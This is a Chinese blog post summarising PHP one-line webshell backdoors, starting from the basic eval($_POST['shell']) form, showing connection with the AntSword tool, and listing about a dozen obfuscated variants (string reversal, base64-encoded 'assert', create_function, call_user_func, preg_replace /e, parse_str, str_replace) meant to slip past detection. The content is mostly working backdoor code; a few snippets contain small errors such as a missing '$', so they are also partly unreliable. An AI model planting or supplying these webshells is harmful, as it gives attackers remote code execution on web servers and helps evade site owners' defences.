首页 > 编程语言 >web之php一句话木马总结------2023.2.6

web之php一句话木马总结------2023.2.6

时间:2023-02-06 12:57:16浏览次数:66  
标签:web shell 函数 base64 2023.2 参数 ------ php 变量

  • 一句话木马的原理

<?php @eval($_POST['shell']);?>
这是php的一句话后门中最普遍的一种。它的工作原理是:
首先存在一个名为shell的变量,shell的取值为HTTP的POST方式。Web服务器对shell取值以后,然后通过eval()函数执行shell里面的内容。

实例:

<?php @eval($_POST['shell']);?>

将以上代码写入webshell.php文件中然后放在站点目录下通过浏览器访问,以POST方式传入shell=phpinfo();

也可以用蚁剑或菜刀等工具连接(我这里用的是蚁剑):
在url地址框中输入http://127.0.0.1/webshell.php,在连接密码框中输入shell

然后就可以看到目标站点目录下的文件了。

  • 一句话木马的绕过姿势

php变量

<?php 
$a = "assert";
$a(@$_POST['shell']); 
?>

第三行使用了变量函数$a,变量储存了函数名asse,便可以直接用变量替代函数名。
php变量简单变形1

<?php  
$a="TR"."Es"."sA";  
$b=strtolower($a);  
$c=strrev($b);  
@$c($_POST['shell']);  
?>

使用字符串拼接、大小写混淆、字符串逆序组合而成

php变量简单变形2

<?php  
$a="AssERT";  
$b=strtolower($a);  
@$b($_POST['shell']);  
?>

使用大小写混淆配合字符串转小写函数strtolower组合而成

PHP可变变量

<?php
$bb="assert";
$a='bb';
$$aa($_POST['shell']);
?>

以上代码可表示为$$aa = $($aa) = $ (‘bb’) = $bb = "assert"

自定义函数

<?php  
function fun($a){  
    @eval($a);  
}  
@fun($_POST['shell']);  
?>

使用function自定义函数,然后函数来调用eval函数

create_function函数

<?php 
$fun = create_function('',$_POST['shell']);
$fun();
?>

创建了一个匿名函数,并返回了一个独一无二的函数名,然后再调用此函数

call_user_func()函数

<?php
@call_user_func(assert,$_POST['shell']);
?>

call_user_func()函数的第一个参数是被调动的函数,剩下的参数(可有多个参数)是被调用函数的参数

base64_decode 函数

<?php   
$a=base64_decode("YXNzZXJ0");  
@a($_POST['shell']);  
?>

YXNzZXJ0是assert的base64编码,base64_decode()是base64解密函数

preg_replace函数

<?php   
    function fun(){  
        return $_POST['shell'];  
    }  
    @preg_replace("/test/e", fun(), "test123");  
?>

preg_replace 函数一个参数是一个正则表达式,按照 php的格式,表达式在两个/之间,如果在表达式末尾加上一个 e,则第二个参数就会被当做 php代码执行。

pares_str函数

<?php
$str="a=eval";
parse_str($str);
$a($_POST['shell']);
?>

执行pares_str函数后可以生成一个名为$a,值为"eval"的变量。

str_replace函数

<?php 
$a = str_replace("test", "", "astestsert");
$a($_POST['shell']);
?>

此函数用于将第三个参数中的第一个参数替换为第二个参数

以上的POST也可替换成GET,但同时shell的传递方式也要改为GET形式,

标签:web,shell,函数,base64,2023.2,参数,------,php,变量
From: https://www.cnblogs.com/wlwl1234/p/17095062.html

相关文章

  • Codeforces Round #840 (Div. 2) and Enigma 2022 - Cybros LNMIIT C. Another Array
    题目链接:https://codeforces.com/problemset/problem/1763/C   大致题意: 给你长度为n的数组,你可以进行任意次操作,操作内容如下:选择俩个下标i,j;对于i......
  • 3.8固态硬盘SSD
    @目录一、引子二、固态硬盘(1)介绍(2)组成(3)读写特性三、固态硬盘与机械硬盘比较磨损均衡技术四、补充一、引子固态硬盘英文缩写叫SSD,大家应该都比较熟悉。这个部分最有可能......
  • 3.9.2Cache和主存的映射方式
    @目录一、引子二、介绍(1)三种映射方式(2)标记及有效位三、详细讲解(1)全相联映射1.Cache2.主存3.映射4.访存(2)直接映射1.映射2.访存(3)组相联映射1.映射2.访存四、对比总结一、引......
  • ABC288 EFG 题解
    E注意到后面选对前面的答案没有影响,而且前面选的顺序对后面的影响是连续的一段(如选2个,那么对应的\(c\)就应该是\(c[i-2..i]\)(对应\(i\)是1、2、3个选时的答案))然......
  • 3.9.1Cache的基本概念和原理
    @目录一、引子二、工作原理三、局部性原理(1)空间局部性(2)时间局部性(3)总结四、性能分析(1)方案一(2)方案二(3)考题五、块(1)主存(2)Cache(3)补充说明1.术语2.有待解决的问题六、回顾一、......
  • Redis详解
    Redis配置ymlspring:redis:host:82.157.248.243#host地址port:6379#地址端口号password:#密码database:......
  • 3.9.3Cache替换算法
    @目录一、引子(1)有待解决的问题(2)地址映射方式二、随机算法(1)过程(2)分析三、先进先出算法(1)过程(2)分析四、近期最少使用(1)过程1.手算2.硬件角度(2)分析五、最不经常使用算法(1)过程(2)分......
  • 4.1页式存储
    @目录一、页式存储(1)分页(2)页式存储系统(3)几个重要概念1.逻辑地址2.物理地址3.页表二、地址变换过程三、优化(1)分析(2)快表(3)补充1.快表和Cache2.快表四、总结回顾一、页式存储......
  • 3.9.4Cache写策略
    @目录一、引子二、写命中(1)写回法1.过程2.优化(2)全写法1.过程2.优化三、写不命中(1)写分配法(2)非写分配法四、多级Cache五、总结回顾一、引子在这一小节中,我们要解决cache部......
  • 1.1计算机工作过程(超详细)
    @目录一、计算机组成框图二、思维导图三、部件剖析(1)存储器(2)运算器(3)控制器四、案例剖析(重点)(1)a=2(2)a*b(3)a*b+c(4)y=a*b+c(5)停机五、总结一、计算机组成框图为了方便大家对计算机......